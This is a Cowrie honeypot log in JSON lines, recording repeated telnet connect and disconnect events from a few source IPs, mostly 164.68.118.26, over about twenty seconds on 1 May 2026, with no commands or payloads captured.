{"eventid":"cowrie.session.closed","duration":31.17918038368225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:50.177872Z","src_ip":"164.68.118.26","session":"6d85b6f4b753","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.851072072982788,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:51.062730Z","src_ip":"164.68.118.26","session":"1057babad812","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34104,"dst_ip":"10.17.0.5","dst_port":23,"session":"d150f74bf2d8","protocol":"telnet","message":"New connection: 164.68.118.26:34104 (10.17.0.5:23) [session: d150f74bf2d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:51.445673Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34144,"dst_ip":"10.17.0.5","dst_port":23,"session":"580cf312bdae","protocol":"telnet","message":"New connection: 164.68.118.26:34144 (10.17.0.5:23) [session: 580cf312bdae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:51.457219Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34502,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd390419ee7a","protocol":"telnet","message":"New connection: 164.68.118.26:34502 (10.17.0.5:23) [session: dd390419ee7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:51.551571Z"}
{"eventid":"cowrie.session.closed","duration":31.150790452957153,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:51.703265Z","src_ip":"164.68.118.26","session":"46cf7287c0ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":36692,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d75ff925bf1","protocol":"telnet","message":"New connection: 164.68.118.26:36692 (10.17.0.5:23) [session: 0d75ff925bf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:52.132828Z"}
{"eventid":"cowrie.session.closed","duration":30.294498920440674,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:52.137913Z","src_ip":"164.68.118.26","session":"4c9d7d4e2f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38224,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f242982cdc2","protocol":"telnet","message":"New connection: 164.68.118.26:38224 (10.17.0.5:23) [session: 3f242982cdc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:52.514435Z"}
{"eventid":"cowrie.session.closed","duration":30.60846996307373,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:52.549050Z","src_ip":"164.68.118.26","session":"df16f96f8620","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":38536,"dst_ip":"10.17.0.5","dst_port":23,"session":"cddfa15a34e8","protocol":"telnet","message":"New connection: 164.68.118.26:38536 (10.17.0.5:23) [session: cddfa15a34e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:52.583381Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39422,"dst_ip":"10.17.0.5","dst_port":23,"session":"061eacfbd269","protocol":"telnet","message":"New connection: 164.68.118.26:39422 (10.17.0.5:23) [session: 061eacfbd269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:52.807174Z"}
{"eventid":"cowrie.session.closed","duration":31.192142009735107,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:53.291721Z","src_ip":"164.68.118.26","session":"6026c6c93a3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42060,"dst_ip":"10.17.0.5","dst_port":23,"session":"57d1d5aa4382","protocol":"telnet","message":"New connection: 164.68.118.26:42060 (10.17.0.5:23) [session: 57d1d5aa4382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:53.516871Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42260,"dst_ip":"10.17.0.5","dst_port":23,"session":"65bd87402a5c","protocol":"telnet","message":"New connection: 164.68.118.26:42260 (10.17.0.5:23) [session: 65bd87402a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:53.571712Z"}
{"eventid":"cowrie.session.closed","duration":30.940223932266235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:53.603176Z","src_ip":"164.68.118.26","session":"d139b089af08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43428,"dst_ip":"10.17.0.5","dst_port":23,"session":"84f6fde49a94","protocol":"telnet","message":"New connection: 164.68.118.26:43428 (10.17.0.5:23) [session: 84f6fde49a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:53.855764Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43776,"dst_ip":"10.17.0.5","dst_port":23,"session":"86b2872bbb58","protocol":"telnet","message":"New connection: 164.68.118.26:43776 (10.17.0.5:23) [session: 86b2872bbb58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:53.935071Z"}
{"eventid":"cowrie.session.closed","duration":30.893836736679077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:54.056337Z","src_ip":"164.68.118.26","session":"57446dfc923e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725236177444458,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:54.148697Z","src_ip":"164.68.118.26","session":"35fae4b3bab0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48439884185791,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:54.171421Z","src_ip":"173.198.194.106","session":"91667ba9f3ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46984,"dst_ip":"10.17.0.5","dst_port":23,"session":"b20c646f229f","protocol":"telnet","message":"New connection: 164.68.118.26:46984 (10.17.0.5:23) [session: b20c646f229f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:54.773245Z"}
{"eventid":"cowrie.session.closed","duration":31.027963638305664,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:54.940091Z","src_ip":"164.68.118.26","session":"f2bfd723b3b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.064042329788208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:55.089952Z","src_ip":"164.68.118.26","session":"b34a07a05374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.038452863693237,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:55.095040Z","src_ip":"164.68.118.26","session":"2666f9154b0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":48642,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a2be729fd03","protocol":"telnet","message":"New connection: 164.68.118.26:48642 (10.17.0.5:23) [session: 3a2be729fd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:55.196881Z"}
{"eventid":"cowrie.session.closed","duration":30.932617902755737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:55.486874Z","src_ip":"164.68.118.26","session":"77d239eb1bd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72506880760193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:55.499102Z","src_ip":"164.68.118.26","session":"c80cf0afadc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":50088,"dst_ip":"10.17.0.5","dst_port":23,"session":"3060cf115a12","protocol":"telnet","message":"New connection: 164.68.118.26:50088 (10.17.0.5:23) [session: 3060cf115a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:55.558223Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46966,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d384441281d","protocol":"telnet","message":"New connection: 164.68.118.26:46966 (10.17.0.5:23) [session: 7d384441281d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:55.764890Z"}
{"eventid":"cowrie.session.closed","duration":31.184028387069702,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:56.395698Z","src_ip":"164.68.118.26","session":"f1fcc33636b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.521082639694214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:56.418638Z","src_ip":"164.68.118.26","session":"ebd3d33677b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55416,"dst_ip":"10.17.0.5","dst_port":23,"session":"992b666eb450","protocol":"telnet","message":"New connection: 164.68.118.26:55416 (10.17.0.5:23) [session: 992b666eb450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:56.899299Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":55630,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96e30f5959d","protocol":"telnet","message":"New connection: 164.68.118.26:55630 (10.17.0.5:23) [session: f96e30f5959d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:56.928854Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":56208,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbfe8b410dcb","protocol":"telnet","message":"New connection: 164.68.118.26:56208 (10.17.0.5:23) [session: cbfe8b410dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:57.080763Z"}
{"eventid":"cowrie.session.closed","duration":30.981679916381836,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:57.304531Z","src_ip":"164.68.118.26","session":"38f8cd3f818a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.322368383407593,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:57.840016Z","src_ip":"164.68.118.26","session":"4fbb4b0bfdaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59136,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc48c6236ca1","protocol":"telnet","message":"New connection: 164.68.118.26:59136 (10.17.0.5:23) [session: bc48c6236ca1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:57.849193Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59184,"dst_ip":"10.17.0.5","dst_port":23,"session":"89877f1e612b","protocol":"telnet","message":"New connection: 164.68.118.26:59184 (10.17.0.5:23) [session: 89877f1e612b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:57.854405Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33312,"dst_ip":"10.17.0.5","dst_port":23,"session":"29ba1eaeaf89","protocol":"telnet","message":"New connection: 164.68.118.26:33312 (10.17.0.5:23) [session: 29ba1eaeaf89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:58.451257Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":33336,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f2e5ae2b514","protocol":"telnet","message":"New connection: 164.68.118.26:33336 (10.17.0.5:23) [session: 5f2e5ae2b514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:58.457447Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":35228,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee47168c7003","protocol":"telnet","message":"New connection: 164.68.118.26:35228 (10.17.0.5:23) [session: ee47168c7003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:58.979365Z"}
{"eventid":"cowrie.session.closed","duration":30.171668767929077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:59.103653Z","src_ip":"164.68.118.26","session":"3712a1b925ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.59047770500183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:59.191591Z","src_ip":"164.68.118.26","session":"e21b7e8822d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":36848,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a374ffe8299","protocol":"telnet","message":"New connection: 164.68.118.26:36848 (10.17.0.5:23) [session: 2a374ffe8299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:59.452608Z"}
{"eventid":"cowrie.session.closed","duration":31.392788887023926,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:59.463129Z","src_ip":"164.68.118.26","session":"fd922f8e7675","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":36958,"dst_ip":"10.17.0.5","dst_port":23,"session":"e30a44cdf6c3","protocol":"telnet","message":"New connection: 164.68.118.26:36958 (10.17.0.5:23) [session: e30a44cdf6c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:59.491129Z"}
{"eventid":"cowrie.session.closed","duration":31.28227400779724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:05:59.765151Z","src_ip":"164.68.118.26","session":"c0696cb79077","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.759093046188354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:00.088962Z","src_ip":"164.68.118.26","session":"4946d9bf7900","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.930448293685913,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:00.119931Z","src_ip":"164.68.118.26","session":"bd820e091f47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":39346,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c76462374c","protocol":"telnet","message":"New connection: 164.68.118.26:39346 (10.17.0.5:23) [session: b8c76462374c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:00.130047Z"}
{"eventid":"cowrie.session.closed","duration":30.424709796905518,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:00.315452Z","src_ip":"164.68.118.26","session":"1089e7735a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":40632,"dst_ip":"10.17.0.5","dst_port":23,"session":"96486866e441","protocol":"telnet","message":"New connection: 164.68.118.26:40632 (10.17.0.5:23) [session: 96486866e441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:00.475336Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":41836,"dst_ip":"10.17.0.5","dst_port":23,"session":"74f8d1ee3b0b","protocol":"telnet","message":"New connection: 164.68.118.26:41836 (10.17.0.5:23) [session: 74f8d1ee3b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:00.729244Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":42902,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2abbf62b4b5","protocol":"telnet","message":"New connection: 164.68.118.26:42902 (10.17.0.5:23) [session: e2abbf62b4b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:00.975206Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59862,"dst_ip":"10.17.0.5","dst_port":23,"session":"d678c6110517","protocol":"telnet","message":"New connection: 164.68.118.26:59862 (10.17.0.5:23) [session: d678c6110517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:01.008620Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43618,"dst_ip":"10.17.0.5","dst_port":23,"session":"8513af1a9148","protocol":"telnet","message":"New connection: 164.68.118.26:43618 (10.17.0.5:23) [session: 8513af1a9148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:01.203475Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":43768,"dst_ip":"10.17.0.5","dst_port":23,"session":"64c7e8a7fd8a","protocol":"telnet","message":"New connection: 164.68.118.26:43768 (10.17.0.5:23) [session: 64c7e8a7fd8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:01.259483Z"}
{"eventid":"cowrie.session.closed","duration":31.305662393569946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:01.427399Z","src_ip":"173.198.194.106","session":"7dbdbdc3b612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.115.172.252","src_port":37314,"dst_ip":"10.17.0.5","dst_port":23,"session":"caa53409a848","protocol":"telnet","message":"New connection: 103.115.172.252:37314 (10.17.0.5:23) [session: caa53409a848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:02.053215Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":46904,"dst_ip":"10.17.0.5","dst_port":23,"session":"87ea5020e7ba","protocol":"telnet","message":"New connection: 164.68.118.26:46904 (10.17.0.5:23) [session: 87ea5020e7ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:02.074632Z"}
{"eventid":"cowrie.session.closed","duration":30.403374195098877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:02.209306Z","src_ip":"164.68.118.26","session":"fcb582b9c27b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":47566,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d2f9c08b8f5","protocol":"telnet","message":"New connection: 164.68.118.26:47566 (10.17.0.5:23) [session: 4d2f9c08b8f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:02.277441Z"}
{"eventid":"cowrie.session.closed","duration":31.29946255683899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:03.013574Z","src_ip":"164.68.118.26","session":"680382248fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.353033781051636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:03.150113Z","src_ip":"164.68.118.26","session":"d36f0be51a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.627466440200806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:03.870014Z","src_ip":"164.68.118.26","session":"87521e094993","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":54972,"dst_ip":"10.17.0.5","dst_port":23,"session":"0abfc9af58f0","protocol":"telnet","message":"New connection: 164.68.118.26:54972 (10.17.0.5:23) [session: 0abfc9af58f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:04.229963Z"}
{"eventid":"cowrie.session.closed","duration":30.820022344589233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:04.597196Z","src_ip":"164.68.118.26","session":"fd2e4a785000","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.204920530319214,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:04.616263Z","src_ip":"164.68.118.26","session":"dd71757544fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.65294623374939,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:05.155309Z","src_ip":"164.68.118.26","session":"d6ff49a6fb6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.873737335205078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:05.414008Z","src_ip":"173.198.194.106","session":"ccf7b61704b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":59542,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff0137b4595f","protocol":"telnet","message":"New connection: 164.68.118.26:59542 (10.17.0.5:23) [session: ff0137b4595f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:05.426885Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":60482,"dst_ip":"10.17.0.5","dst_port":23,"session":"2bff82987af6","protocol":"telnet","message":"New connection: 164.68.118.26:60482 (10.17.0.5:23) [session: 2bff82987af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:05.663073Z"}
{"eventid":"cowrie.session.closed","duration":31.83238387107849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:06.001978Z","src_ip":"164.68.118.26","session":"90341f1f3016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.118.26","src_port":34364,"dst_ip":"10.17.0.5","dst_port":23,"session":"6dd9c9875ec3","protocol":"telnet","message":"New connection: 164.68.118.26:34364 (10.17.0.5:23) [session: 6dd9c9875ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:06.169739Z"}
{"eventid":"cowrie.session.closed","duration":30.51430034637451,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:06.422870Z","src_ip":"164.68.118.26","session":"1f0107c77c33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02048945426941,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:07.065602Z","src_ip":"164.68.118.26","session":"63a63c3b8bda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.226866960525513,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:07.164432Z","src_ip":"164.68.118.26","session":"d8020d77c49f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.440064430236816,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:07.372950Z","src_ip":"164.68.118.26","session":"72e56bcec48e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.23504137992859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:07.517395Z","src_ip":"164.68.118.26","session":"50ceb4cdcb61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90518307685852,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:08.088218Z","src_ip":"164.68.118.26","session":"9e6b279b81a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.995731830596924,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T18:06:08.236686Z","src_ip":"164.68.118.26","session":"963a0bd027b6","protocol":"telnet"}
